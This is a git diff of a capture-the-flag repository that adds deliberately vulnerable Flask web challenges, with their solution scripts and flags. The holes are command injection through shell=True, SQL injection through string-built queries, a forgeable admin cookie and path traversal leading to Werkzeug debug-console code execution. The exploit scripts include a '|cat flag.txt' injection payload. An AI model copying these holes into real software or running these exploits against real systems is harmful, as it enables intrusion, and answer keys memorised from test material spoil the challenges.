diff --git a/.gitignore b/.gitignore
index 27f7a9f..4d71da5 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1 +1 @@
-.ctf/
\ No newline at end of file
+.ctf/
diff --git a/web/baby-flask/.gitignore b/web/baby-flask/.gitignore
new file mode 100644
index 0000000..a573cee
--- /dev/null
+++ b/web/baby-flask/.gitignore
@@ -0,0 +1,2 @@
+*.log
+*.pid
diff --git a/web/baby-flask/challenge.yml b/web/baby-flask/challenge.yml
index 5ff0e97..ce5884c 100644
--- a/web/baby-flask/challenge.yml
+++ b/web/baby-flask/challenge.yml
@@ -15,15 +15,13 @@ extra:
compose_stack: !filecontents docker-compose.yml
flags:
- - GTBQ{w3ll_d0ne_but_1_H0p3_Y0u_4rE_n0t_d0ne_y3t_g0_f0r_p4rt_2}
+ - GTBQ{w3ll_d0ne_0n_tr4v3rs1ng_y0ur_w4y_0ut_YoU_c4nt_be_c0nstr41n3d_1n_4_fl4sk!}
tags:
- web
- - easy
+ - medium
files:
- - "public/public.zip"
state: visible
version: "0.1"
-
diff --git a/web/baby-flask/docker-compose.yml b/web/baby-flask/docker-compose.yml
index 0955693..5ac215b 100644
--- a/web/baby-flask/docker-compose.yml
+++ b/web/baby-flask/docker-compose.yml
@@ -10,3 +10,6 @@ services:
environment:
- FLASK_APP=/app/app.py
- FLASK_ENV=development
+ volumes:
+ - /etc/machine-id:/etc/machine-id
+ # - ./setup/app:/app
diff --git a/web/baby-flask/public/public.zip b/web/baby-flask/public/public.zip
deleted file mode 100644
index 8c734c5..0000000
Binary files a/web/baby-flask/public/public.zip and /dev/null differ
diff --git a/web/baby-flask/setup/app/templates/index.html b/web/baby-flask/setup/app/templates/index.html
index acab926..2da3742 100644
--- a/web/baby-flask/setup/app/templates/index.html
+++ b/web/baby-flask/setup/app/templates/index.html
@@ -1,94 +1,26 @@
-
-
-
-
-
-
Welcome to my Flask file manager
-
-
Have a look at my files
-
Click on a file to view it!
-
- {% for file in files %}
- -
-
-
- {% endfor %}
-
+{% extends "layout.html" %}
+
+{% block content %}
+
+
Welcome to my Flask File Manager
+
+
+
+
+
Click on a file to view it!
+
+ {% for file in files %}
+ -
+
+
+ {% endfor %}
+
+
-
-
-
+
+{% endblock %}
diff --git a/web/baby-flask/setup/app/templates/layout.html b/web/baby-flask/setup/app/templates/layout.html
new file mode 100644
index 0000000..96ca03e
--- /dev/null
+++ b/web/baby-flask/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% block content %} {% endblock %} {% block after_content %} {%
+ endblock%}
+
+
diff --git a/web/baby-flask/setup/flag.txt b/web/baby-flask/setup/flag.txt
index 3b47686..a8c0bf9 100644
--- a/web/baby-flask/setup/flag.txt
+++ b/web/baby-flask/setup/flag.txt
@@ -1 +1 @@
-GTBQ{w3ll_d0ne_but_1_H0p3_Y0u_4rE_n0t_d0ne_y3t_g0_f0r_p4rt_2}
+GTBQ{w3ll_d0ne_0n_tr4v3rs1ng_y0ur_w4y_0ut_YoU_c4nt_be_c0nstr41n3d_1n_4_fl4sk!}
diff --git a/web/baby-flask/solution/advanced.py b/web/baby-flask/solution/advanced.py
index 07744ed..3afa3e8 100644
--- a/web/baby-flask/solution/advanced.py
+++ b/web/baby-flask/solution/advanced.py
@@ -1,8 +1,9 @@
from wconsole_extractor import WConsoleExtractor
import requests
import re
+import sys
-url = 'http://localhost:1337'
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
def leak_function(filename) -> str:
r = requests.post(f'{url}/get_file', data={'filename': filename})
diff --git a/web/baby-flask/solution/path_traversal.py b/web/baby-flask/solution/path_traversal.py
index 85b82db..1b12a6d 100644
--- a/web/baby-flask/solution/path_traversal.py
+++ b/web/baby-flask/solution/path_traversal.py
@@ -1,29 +1,30 @@
import requests
import re
+import sys
-url = 'http://localhost:1337'
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
s = requests.Session()
-r = s.post('http://localhost:1337/get_file', data={'filename': '/app/logs/flask-error.log'})
+r = s.post(f'{url}/get_file', data={'filename': '/app/logs/flask-error.log'})
# print(r.text)
# find the pin code
pin_code = re.search(r'PIN: (\d+-\d+-\d+)', r.text).group(1)
print(f'Pin code: {pin_code}')
# fetch console token from html error messages (only needed if logging in headlessly)
-r = s.post('http://localhost:1337/get_file', data={'filename': '/file_that_does_not_exist'})
+r = s.post(f'{url}/get_file', data={'filename': '/file_that_does_not_exist'})
# print(r.text)
console_token = re.search(r'SECRET = "(.*)";', r.text).group(1)
print(f'Console token : {console_token}')
# get auth cookie from flask by performing pinauth
-r = s.get('http://localhost:1337/console', params={'__debugger__': 'yes', 'cmd': 'pinauth', 'pin': pin_code, 's': console_token})
+r = s.get(f'{url}/console', params={'__debugger__': 'yes', 'cmd': 'pinauth', 'pin': pin_code, 's': console_token})
# execute ls in the console
-r = s.get('http://localhost:1337/console', params={'__debugger__': 'yes', 'cmd': 'import subprocess; print(subprocess.check_output(["ls", "/"]).decode())', 'frm': 0, 's': console_token})
+r = s.get(f'{url}/console', params={'__debugger__': 'yes', 'cmd': 'import subprocess; print(subprocess.check_output(["ls", "/"]).decode())', 'frm': 0, 's': console_token})
flag_file = re.search(r'flag-\w+.txt', r.text).group(0)
# read the flag file
-r = s.get('http://localhost:1337/console', params={'__debugger__': 'yes', 'cmd': f'import subprocess; print(subprocess.check_output(["cat", "/{flag_file}"]).decode())', 'frm': 0, 's': console_token})
+r = s.get(f'{url}/console', params={'__debugger__': 'yes', 'cmd': f'import subprocess; print(subprocess.check_output(["cat", "/{flag_file}"]).decode())', 'frm': 0, 's': console_token})
print(r.text)
diff --git a/web/biscuits/challenge.yml b/web/biscuits/challenge.yml
new file mode 100644
index 0000000..f8e507a
--- /dev/null
+++ b/web/biscuits/challenge.yml
@@ -0,0 +1,27 @@
+name: "Biscuits"
+author: "Evangelospro"
+category: web
+
+description: |
+ In England, they're called biscuits, but I prefer to call them cookies. I've curated a page to celebrate these delightful treats from around the world. Explore and discover the hidden delights within—I hear there's something special waiting for those who navigate to /admin.
+
+value: 500
+type: dynamic_docker
+extra:
+ initial: 500
+ minimum: 100
+ decay: 25
+ redirect_type: http
+ compose_stack: !filecontents docker-compose.yml
+
+flags:
+ - GTBQ{c00ki3s_ar3_d3lici0us}
+
+tags:
+ - web
+ - beginner
+
+files:
+
+state: visible
+version: "0.1"
diff --git a/web/biscuits/docker-compose.yml b/web/biscuits/docker-compose.yml
new file mode 100644
index 0000000..6635462
--- /dev/null
+++ b/web/biscuits/docker-compose.yml
@@ -0,0 +1,15 @@
+version: '3'
+services:
+ web:
+ build:
+ context: ./setup
+ dockerfile: Dockerfile
+ image: ghcr.io/cybermouflons/gtbq-2024/biscuits:latest
+ ports:
+ - 1337:80
+ environment:
+ - FLAG=GTBQ{c00ki3s_ar3_d3lici0us}
+ - FLASK_APP=/app/app.py
+ - FLASK_ENV=development
+ # volumes:
+ # - ./setup/app:/app
diff --git a/web/biscuits/setup/Dockerfile b/web/biscuits/setup/Dockerfile
new file mode 100644
index 0000000..040729f
--- /dev/null
+++ b/web/biscuits/setup/Dockerfile
@@ -0,0 +1,14 @@
+# Use the official Python base image
+FROM python:3.9-slim
+
+WORKDIR /app
+
+COPY ./app/requirements.txt /app/requirements.txt
+
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY ./app /app/
+
+EXPOSE 80
+
+ENTRYPOINT ["python3", "/app/app.py"]
diff --git a/web/biscuits/setup/app/app.py b/web/biscuits/setup/app/app.py
new file mode 100644
index 0000000..f63323e
--- /dev/null
+++ b/web/biscuits/setup/app/app.py
@@ -0,0 +1,21 @@
+import os
+from flask import Flask, render_template, request, redirect, g, url_for, make_response
+
+app = Flask(__name__)
+
+FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}')
+
+@app.route('/')
+def index():
+ resp = make_response(render_template('index.html'))
+ resp.set_cookie('is_admin', 'false')
+ return resp
+
+@app.route('/admin')
+def admin():
+ if request.cookies.get('is_admin') == 'true':
+ return render_template('admin.html', flag=FLAG)
+ else:
+ return redirect(url_for('index'))
+
+app.run(host='0.0.0.0', port=80, debug=True)
diff --git a/web/biscuits/setup/app/flag.txt b/web/biscuits/setup/app/flag.txt
new file mode 100644
index 0000000..6bf1bad
--- /dev/null
+++ b/web/biscuits/setup/app/flag.txt
@@ -0,0 +1 @@
+GTBQ{C0mm4nd_Inj3cti0n_1s_4_G4m3_0v3r!!!}
diff --git a/web/biscuits/setup/app/requirements.txt b/web/biscuits/setup/app/requirements.txt
new file mode 100644
index 0000000..7e10602
--- /dev/null
+++ b/web/biscuits/setup/app/requirements.txt
@@ -0,0 +1 @@
+flask
diff --git a/web/biscuits/setup/app/static/images/chocolate-chip.jpeg b/web/biscuits/setup/app/static/images/chocolate-chip.jpeg
new file mode 100644
index 0000000..4b536bc
Binary files /dev/null and b/web/biscuits/setup/app/static/images/chocolate-chip.jpeg differ
diff --git a/web/biscuits/setup/app/static/images/oatmeal.jpeg b/web/biscuits/setup/app/static/images/oatmeal.jpeg
new file mode 100644
index 0000000..7b8b505
Binary files /dev/null and b/web/biscuits/setup/app/static/images/oatmeal.jpeg differ
diff --git a/web/biscuits/setup/app/static/images/peanut-butter.jpg b/web/biscuits/setup/app/static/images/peanut-butter.jpg
new file mode 100644
index 0000000..89f4548
Binary files /dev/null and b/web/biscuits/setup/app/static/images/peanut-butter.jpg differ
diff --git a/web/biscuits/setup/app/templates/admin.html b/web/biscuits/setup/app/templates/admin.html
new file mode 100644
index 0000000..8b79bef
--- /dev/null
+++ b/web/biscuits/setup/app/templates/admin.html
@@ -0,0 +1,14 @@
+{% extends "layout.html" %}
+
+{% block content %}
+
+
Congratulations!
+
+
Welcom back admin!
+
Here is your flag:
+
+
{{flag}}
+
+
+
+{% endblock %}
diff --git a/web/biscuits/setup/app/templates/header.html b/web/biscuits/setup/app/templates/header.html
new file mode 100644
index 0000000..582cbd0
--- /dev/null
+++ b/web/biscuits/setup/app/templates/header.html
@@ -0,0 +1,24 @@
+
diff --git a/web/biscuits/setup/app/templates/index.html b/web/biscuits/setup/app/templates/index.html
new file mode 100644
index 0000000..dd6fcc8
--- /dev/null
+++ b/web/biscuits/setup/app/templates/index.html
@@ -0,0 +1,93 @@
+{% extends "layout.html" %} {% block content %}
+
+
+
Cookie Recipes
+
+
+
+
+
+
Chocolate Chip Cookies
+
A classic favorite, perfect for any occasion.
+
+
Ingredients:
+
+ - 1 cup butter, softened
+ - 1 cup white sugar
+ - 1 cup packed brown sugar
+ - 2 eggs
+ - 2 teaspoons vanilla extract
+ - 3 cups all-purpose flour
+ - 1 teaspoon baking soda
+ - 2 teaspoons hot water
+ - 1/2 teaspoon salt
+ - 2 cups semisweet chocolate chips
+
+
View Recipe
+
+
+
+
+
+
+
Oatmeal Cookies
+
Hearty and wholesome, perfect with a glass of milk.
+
+
Ingredients:
+
+ - 1 cup butter, softened
+ - 1 cup packed brown sugar
+ - 1/2 cup white sugar
+ - 2 eggs
+ - 1 teaspoon vanilla extract
+ - 1 1/2 cups all-purpose flour
+ - 1 teaspoon baking soda
+ - 1/2 teaspoon salt
+ - 3 cups quick-cooking oats
+ - 1 cup raisins (optional)
+
+
View Recipe
+
+
+
+
+
+
+
Peanut Butter Cookies
+
A nutty delight that melts in your mouth.
+
+
Ingredients:
+
+ - 1 cup unsalted butter, softened
+ - 1 cup creamy peanut butter
+ - 1 cup white sugar
+ - 1 cup packed brown sugar
+ - 2 eggs
+ - 2 1/2 cups all-purpose flour
+ - 1 teaspoon baking powder
+ - 1/2 teaspoon salt
+ - 1 1/2 teaspoons baking soda
+
+
View Recipe
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/biscuits/setup/app/templates/layout.html b/web/biscuits/setup/app/templates/layout.html
new file mode 100644
index 0000000..64aed23
--- /dev/null
+++ b/web/biscuits/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% include 'header.html' %} {% block content %} {% endblock %} {% block
+ after_content %} {% endblock%}
+
+
diff --git a/web/biscuits/solution/sol.py b/web/biscuits/solution/sol.py
new file mode 100644
index 0000000..e237404
--- /dev/null
+++ b/web/biscuits/solution/sol.py
@@ -0,0 +1,9 @@
+import requests
+import sys
+
+s = requests.Session()
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
+
+# send a request to the admin page with the is_admin cookie set to true
+r = s.get(url + "/admin", cookies={"is_admin": "true"})
+print(r.text)
diff --git a/web/flask-master/.gitignore b/web/flask-master/.gitignore
new file mode 100644
index 0000000..a573cee
--- /dev/null
+++ b/web/flask-master/.gitignore
@@ -0,0 +1,2 @@
+*.log
+*.pid
diff --git a/web/flask-master/challenge.yml b/web/flask-master/challenge.yml
index 8fcb60d..7e3fddd 100644
--- a/web/flask-master/challenge.yml
+++ b/web/flask-master/challenge.yml
@@ -21,10 +21,9 @@ flags:
tags:
- web
- - hard
+ - insane
files:
- - "public/public.zip"
-state: visible
+state: hidden
version: "0.1"
diff --git a/web/flask-master/docker-compose.yml b/web/flask-master/docker-compose.yml
index 5a1c9bd..d5cabbc 100644
--- a/web/flask-master/docker-compose.yml
+++ b/web/flask-master/docker-compose.yml
@@ -10,3 +10,6 @@ services:
environment:
- FLASK_APP=/app/app.py
- FLASK_ENV=development
+ volumes:
+ - /etc/machine-id:/etc/machine-id
+ # - ./setup/app:/app
diff --git a/web/flask-master/public/public.zip b/web/flask-master/public/public.zip
deleted file mode 100644
index b8092d6..0000000
Binary files a/web/flask-master/public/public.zip and /dev/null differ
diff --git a/web/flask-master/setup/app/templates/index.html b/web/flask-master/setup/app/templates/index.html
index acab926..990dfe3 100644
--- a/web/flask-master/setup/app/templates/index.html
+++ b/web/flask-master/setup/app/templates/index.html
@@ -1,94 +1,30 @@
-
-
-
-
-
Flask File Manager
-
-
-
-
-
-
Welcome to my Flask file manager
-
-
Have a look at my files
-
Click on a file to view it!
-
- {% for file in files %}
- -
-
-
- {% endfor %}
-
-
-
-
-
+{% extends "layout.html" %} {% block content %}
+
+
Welcome to my Flask File Manager
+
+
+
+
+
Click on a file to view it!
+
+ {% for file in files %}
+ -
+
+
+ {% endfor %}
+
+
+
+
+{% endblock %}
diff --git a/web/flask-master/setup/app/templates/layout.html b/web/flask-master/setup/app/templates/layout.html
new file mode 100644
index 0000000..96ca03e
--- /dev/null
+++ b/web/flask-master/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% block content %} {% endblock %} {% block after_content %} {%
+ endblock%}
+
+
diff --git a/web/flask-master/solution/sol.py b/web/flask-master/solution/sol.py
index f27f6eb..b1fd6b9 100644
--- a/web/flask-master/solution/sol.py
+++ b/web/flask-master/solution/sol.py
@@ -2,8 +2,9 @@
from wconsole_extractor import WConsoleExtractor
import requests
import re
+import sys
-url = 'http://localhost:1337'
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
def leak_function(filename) -> str:
r = requests.post(f'{url}/get_file', data={'filename': filename})
diff --git a/web/looooong/challenge.yml b/web/looooong/challenge.yml
new file mode 100644
index 0000000..653506f
--- /dev/null
+++ b/web/looooong/challenge.yml
@@ -0,0 +1,27 @@
+name: "looooong"
+author: "Evangelospro"
+category: web
+
+description: |
+ Begin your journey and follow the trail. Hidden within lies the flag. Can you navigate the path and uncover the secret?
+
+value: 500
+type: dynamic_docker
+extra:
+ initial: 500
+ minimum: 100
+ decay: 25
+ redirect_type: http
+ compose_stack: !filecontents docker-compose.yml
+
+flags:
+ - GTBQ{Why_1s_1t_t4k1ng_s0_l0000ng?}
+
+tags:
+ - web
+ - beginner
+
+files:
+
+state: visible
+version: "0.1"
diff --git a/web/looooong/docker-compose.yml b/web/looooong/docker-compose.yml
new file mode 100644
index 0000000..9be9f3e
--- /dev/null
+++ b/web/looooong/docker-compose.yml
@@ -0,0 +1,15 @@
+version: '3'
+services:
+ web:
+ build:
+ context: ./setup
+ dockerfile: Dockerfile
+ image: ghcr.io/cybermouflons/gtbq-2024/looooong:latest
+ ports:
+ - 1337:80
+ environment:
+ - FLAG=GTBQ{Why_1s_1t_t4k1ng_s0_l0000ng?}
+ - FLASK_APP=/app/app.py
+ - FLASK_ENV=development
+ # volumes:
+ # - ./setup/app:/app
diff --git a/web/looooong/setup/Dockerfile b/web/looooong/setup/Dockerfile
new file mode 100644
index 0000000..040729f
--- /dev/null
+++ b/web/looooong/setup/Dockerfile
@@ -0,0 +1,14 @@
+# Use the official Python base image
+FROM python:3.9-slim
+
+WORKDIR /app
+
+COPY ./app/requirements.txt /app/requirements.txt
+
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY ./app /app/
+
+EXPOSE 80
+
+ENTRYPOINT ["python3", "/app/app.py"]
diff --git a/web/looooong/setup/app/app.py b/web/looooong/setup/app/app.py
new file mode 100644
index 0000000..90818e6
--- /dev/null
+++ b/web/looooong/setup/app/app.py
@@ -0,0 +1,26 @@
+import os
+from flask import Flask, render_template, request, redirect, g, url_for, make_response
+
+app = Flask(__name__)
+
+FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}')
+
+@app.route('/')
+def index():
+ return render_template('start.html')
+
+@app.route('/magic')
+def magic():
+ response_headers = {
+ 'Location': url_for('end'),
+ 'Flag': FLAG
+ }
+ response = make_response('', 302)
+ response.headers = response_headers
+ return response
+
+@app.route('/end')
+def end():
+ return render_template('end.html')
+
+app.run(host='0.0.0.0', port=80, debug=True)
diff --git a/web/looooong/setup/app/requirements.txt b/web/looooong/setup/app/requirements.txt
new file mode 100644
index 0000000..7e10602
--- /dev/null
+++ b/web/looooong/setup/app/requirements.txt
@@ -0,0 +1 @@
+flask
diff --git a/web/looooong/setup/app/static/images/go_away.png b/web/looooong/setup/app/static/images/go_away.png
new file mode 100644
index 0000000..953a28c
Binary files /dev/null and b/web/looooong/setup/app/static/images/go_away.png differ
diff --git a/web/looooong/setup/app/templates/end.html b/web/looooong/setup/app/templates/end.html
new file mode 100644
index 0000000..9efb943
--- /dev/null
+++ b/web/looooong/setup/app/templates/end.html
@@ -0,0 +1,13 @@
+{% extends "layout.html" %}
+
+{% block content %}
+
+
The END!
+
+
Welp that did something!
+
Not really sure why it took so long though!
+
+
+
What are you still doing here? Go away!
+
+{% endblock %}
diff --git a/web/looooong/setup/app/templates/layout.html b/web/looooong/setup/app/templates/layout.html
new file mode 100644
index 0000000..96ca03e
--- /dev/null
+++ b/web/looooong/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% block content %} {% endblock %} {% block after_content %} {%
+ endblock%}
+
+
diff --git a/web/looooong/setup/app/templates/start.html b/web/looooong/setup/app/templates/start.html
new file mode 100644
index 0000000..6ae8c08
--- /dev/null
+++ b/web/looooong/setup/app/templates/start.html
@@ -0,0 +1,11 @@
+{% extends "layout.html" %}
+
+{% block content %}
+
+
The journey awaits!
+
Begin your journey by clicking the button below.
+
+
+{% endblock %}
diff --git a/web/looooong/solution/sol.py b/web/looooong/solution/sol.py
new file mode 100644
index 0000000..d0a01ba
--- /dev/null
+++ b/web/looooong/solution/sol.py
@@ -0,0 +1,9 @@
+import requests
+import sys
+
+s = requests.Session()
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
+
+# don't follow redirect to /end as the flag is in the intermidiate response that redirects to /end
+r = s.get(url + "/magic", allow_redirects=False)
+print(r.headers['Flag'])
diff --git a/web/nmapper/challenge.yml b/web/nmapper/challenge.yml
new file mode 100644
index 0000000..d45ea67
--- /dev/null
+++ b/web/nmapper/challenge.yml
@@ -0,0 +1,27 @@
+name: "NMAPper"
+author: "Evangelospro"
+category: web
+
+description: |
+ In old time people had those big and chunky paper maps to navigate through the world. Nowadays we have tools like Nmap to navigate through the internet. Can you find the hidden flag on this servers filesystem?
+
+value: 500
+type: dynamic_docker
+extra:
+ initial: 500
+ minimum: 100
+ decay: 25
+ redirect_type: http
+ compose_stack: !filecontents docker-compose.yml
+
+flags:
+ - GTBQ{C0mm4nd_Inj3cti0n_1s_4_G4m3_0v3r!!!}
+
+tags:
+ - web
+ - easy
+
+files:
+
+state: visible
+version: "0.1"
diff --git a/web/nmapper/docker-compose.yml b/web/nmapper/docker-compose.yml
new file mode 100644
index 0000000..7cced7c
--- /dev/null
+++ b/web/nmapper/docker-compose.yml
@@ -0,0 +1,14 @@
+version: '3'
+services:
+ web:
+ build:
+ context: ./setup
+ dockerfile: Dockerfile
+ image: ghcr.io/cybermouflons/gtbq-2024/nmapper:latest
+ ports:
+ - 1337:80
+ environment:
+ - FLASK_APP=/app/app.py
+ - FLASK_ENV=development
+ # volumes:
+ # - ./setup/app:/app
diff --git a/web/nmapper/setup/Dockerfile b/web/nmapper/setup/Dockerfile
new file mode 100644
index 0000000..9f77849
--- /dev/null
+++ b/web/nmapper/setup/Dockerfile
@@ -0,0 +1,16 @@
+# Use the official Python base image
+FROM python:3.9-slim
+
+RUN apt update && apt install -y nmap
+
+WORKDIR /app
+
+COPY ./app/requirements.txt /app/requirements.txt
+
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY ./app /app/
+
+EXPOSE 80
+
+ENTRYPOINT ["python3", "/app/app.py"]
diff --git a/web/nmapper/setup/app/app.py b/web/nmapper/setup/app/app.py
new file mode 100644
index 0000000..e831c2b
--- /dev/null
+++ b/web/nmapper/setup/app/app.py
@@ -0,0 +1,23 @@
+import os
+from flask import Flask, render_template, request, redirect, g, url_for, make_response
+import subprocess
+
+app = Flask(__name__)
+
+FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}')
+
+@app.route('/')
+def index():
+ return redirect(url_for('nmap'))
+
+@app.route('/nmap', methods=['GET', 'POST'])
+def nmap():
+ if request.method == 'GET':
+ return render_template('nmap.html')
+ elif request.method == 'POST':
+ target = request.form['target']
+ output = subprocess.check_output(f'nmap {target}', shell=True)
+ return render_template('nmap.html', output=output.decode('utf-8'))
+
+
+app.run(host='0.0.0.0', port=80, debug=True)
diff --git a/web/nmapper/setup/app/flag.txt b/web/nmapper/setup/app/flag.txt
new file mode 100644
index 0000000..6bf1bad
--- /dev/null
+++ b/web/nmapper/setup/app/flag.txt
@@ -0,0 +1 @@
+GTBQ{C0mm4nd_Inj3cti0n_1s_4_G4m3_0v3r!!!}
diff --git a/web/nmapper/setup/app/requirements.txt b/web/nmapper/setup/app/requirements.txt
new file mode 100644
index 0000000..7e10602
--- /dev/null
+++ b/web/nmapper/setup/app/requirements.txt
@@ -0,0 +1 @@
+flask
diff --git a/web/nmapper/setup/app/static/images/toolbox.png b/web/nmapper/setup/app/static/images/toolbox.png
new file mode 100644
index 0000000..43a7056
Binary files /dev/null and b/web/nmapper/setup/app/static/images/toolbox.png differ
diff --git a/web/nmapper/setup/app/templates/layout.html b/web/nmapper/setup/app/templates/layout.html
new file mode 100644
index 0000000..96ca03e
--- /dev/null
+++ b/web/nmapper/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% block content %} {% endblock %} {% block after_content %} {%
+ endblock%}
+
+
diff --git a/web/nmapper/setup/app/templates/nmap.html b/web/nmapper/setup/app/templates/nmap.html
new file mode 100644
index 0000000..50f8c34
--- /dev/null
+++ b/web/nmapper/setup/app/templates/nmap.html
@@ -0,0 +1,37 @@
+{% extends "layout.html" %} {% block content %}
+
+
+
+ A hacker has many tools in his toolbox, Nmap is one of the most used
+ ones though, so I made this web UI for it.
+
+
+
+
+ {% if output %}
+
+ {% endif %}
+
+{% endblock %}
diff --git a/web/nmapper/solution/sol.py b/web/nmapper/solution/sol.py
new file mode 100644
index 0000000..2a836e6
--- /dev/null
+++ b/web/nmapper/solution/sol.py
@@ -0,0 +1,8 @@
+import requests
+import sys
+
+s = requests.Session()
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
+
+r = s.post(url + "/nmap", data={"target": "|cat flag.txt"})
+print(r.text)
diff --git a/web/sql-sleuth/.gitignore b/web/sql-sleuth/.gitignore
new file mode 100644
index 0000000..98e6ef6
--- /dev/null
+++ b/web/sql-sleuth/.gitignore
@@ -0,0 +1 @@
+*.db
diff --git a/web/sql-sleuth/challenge.yml b/web/sql-sleuth/challenge.yml
new file mode 100644
index 0000000..6c35f02
--- /dev/null
+++ b/web/sql-sleuth/challenge.yml
@@ -0,0 +1,27 @@
+name: "SQL Sleuth: The Hidden Injection"
+author: "Evangelospro"
+category: web
+
+description: |
+ A simple login page guards a secret deep within its code. Whispers hint at a vulnerability that can unlock the gate. Can you, the SQL sleuth, uncover the hidden injection and reveal the flag? The query holds the key. Proceed with caution and keen insight.
+
+value: 500
+type: dynamic_docker
+extra:
+ initial: 500
+ minimum: 100
+ decay: 25
+ redirect_type: http
+ compose_stack: !filecontents docker-compose.yml
+
+flags:
+ - GTBQ{Y0u_H4v3_inj3cted_y0Urs3lf_to_4dm1n_c0ngr4ts!}
+
+tags:
+ - web
+ - easy
+
+files:
+
+state: visible
+version: "0.1"
diff --git a/web/sql-sleuth/docker-compose.yml b/web/sql-sleuth/docker-compose.yml
new file mode 100644
index 0000000..f94e743
--- /dev/null
+++ b/web/sql-sleuth/docker-compose.yml
@@ -0,0 +1,15 @@
+version: '3'
+services:
+ web:
+ build:
+ context: ./setup
+ dockerfile: Dockerfile
+ image: ghcr.io/cybermouflons/gtbq-2024/sqlsleuth:latest
+ ports:
+ - 1337:80
+ environment:
+ - FLAG=GTBQ{Y0u_H4v3_inj3cted_y0Urs3lf_to_4dm1n_c0ngr4ts!}
+ - FLASK_APP=/app/app.py
+ - FLASK_ENV=development
+ # volumes:
+ # - ./setup/app:/app
diff --git a/web/sql-sleuth/setup/Dockerfile b/web/sql-sleuth/setup/Dockerfile
new file mode 100644
index 0000000..040729f
--- /dev/null
+++ b/web/sql-sleuth/setup/Dockerfile
@@ -0,0 +1,14 @@
+# Use the official Python base image
+FROM python:3.9-slim
+
+WORKDIR /app
+
+COPY ./app/requirements.txt /app/requirements.txt
+
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY ./app /app/
+
+EXPOSE 80
+
+ENTRYPOINT ["python3", "/app/app.py"]
diff --git a/web/sql-sleuth/setup/app/app.py b/web/sql-sleuth/setup/app/app.py
new file mode 100644
index 0000000..c79d357
--- /dev/null
+++ b/web/sql-sleuth/setup/app/app.py
@@ -0,0 +1,57 @@
+import sqlite3
+import random
+import string
+from flask import Flask, render_template, request, redirect, g, url_for
+import os
+
+app = Flask(__name__)
+app.database = "app.db"
+
+FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}')
+
+def connect_db():
+ return sqlite3.connect(app.database)
+
+def rand_str(k=10) -> str:
+ return ''.join(random.choices(string.ascii_letters + string.digits, k=k))
+
+@app.route('/')
+def index():
+ return redirect(url_for('login'))
+
+@app.route('/login', methods=['GET', 'POST'])
+def login():
+ if request.method == 'POST':
+ username = request.form['username']
+ password = request.form['password']
+
+ g.db = connect_db()
+ c = g.db.cursor()
+ g.query = f"SELECT * FROM users WHERE username='{username}' AND password = '{password}'"
+ try:
+ c.execute(g.query)
+ except Exception as e:
+ return render_template('login.html', error="Something went wrong", query=g.query)
+ user = c.fetchone()
+ if user:
+ return render_template('loggedin.html', flag=FLAG)
+ else:
+ return render_template('login.html', error="Invalid username or password")
+ return render_template('login.html')
+
+#create database if it doesn't exist yet
+with app.app_context():
+ g.db = connect_db()
+ c = g.db.cursor()
+ if c.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='users'").fetchone() is None:
+ c.execute("""CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)""")
+ admin_password = rand_str()
+ if c.execute("SELECT * FROM users WHERE username='admin'").fetchone() is None:
+ # insert the admin user
+ c.execute(f"INSERT INTO users (username, password) VALUES ('admin', '{admin_password}')")
+ else:
+ c.execute(f"UPDATE users SET password='{admin_password}' WHERE username='admin'")
+ g.db.commit()
+ g.db.close()
+
+app.run(host='0.0.0.0', port=80)
diff --git a/web/sql-sleuth/setup/app/requirements.txt b/web/sql-sleuth/setup/app/requirements.txt
new file mode 100644
index 0000000..7e10602
--- /dev/null
+++ b/web/sql-sleuth/setup/app/requirements.txt
@@ -0,0 +1 @@
+flask
diff --git a/web/sql-sleuth/setup/app/static/images/nerd.png b/web/sql-sleuth/setup/app/static/images/nerd.png
new file mode 100644
index 0000000..74f00f3
Binary files /dev/null and b/web/sql-sleuth/setup/app/static/images/nerd.png differ
diff --git a/web/sql-sleuth/setup/app/templates/layout.html b/web/sql-sleuth/setup/app/templates/layout.html
new file mode 100644
index 0000000..96ca03e
--- /dev/null
+++ b/web/sql-sleuth/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% block content %} {% endblock %} {% block after_content %} {%
+ endblock%}
+
+
diff --git a/web/sql-sleuth/setup/app/templates/loggedin.html b/web/sql-sleuth/setup/app/templates/loggedin.html
new file mode 100644
index 0000000..5773dd3
--- /dev/null
+++ b/web/sql-sleuth/setup/app/templates/loggedin.html
@@ -0,0 +1,14 @@
+{% extends "layout.html" %}
+
+{% block content %}
+
+
Congratulations!
+
+
Welcom back admin!
+
Here is your flag:
+
+
{{flag}}
+
+
+
+{% endblock %}
diff --git a/web/sql-sleuth/setup/app/templates/login.html b/web/sql-sleuth/setup/app/templates/login.html
new file mode 100644
index 0000000..5e1d698
--- /dev/null
+++ b/web/sql-sleuth/setup/app/templates/login.html
@@ -0,0 +1,34 @@
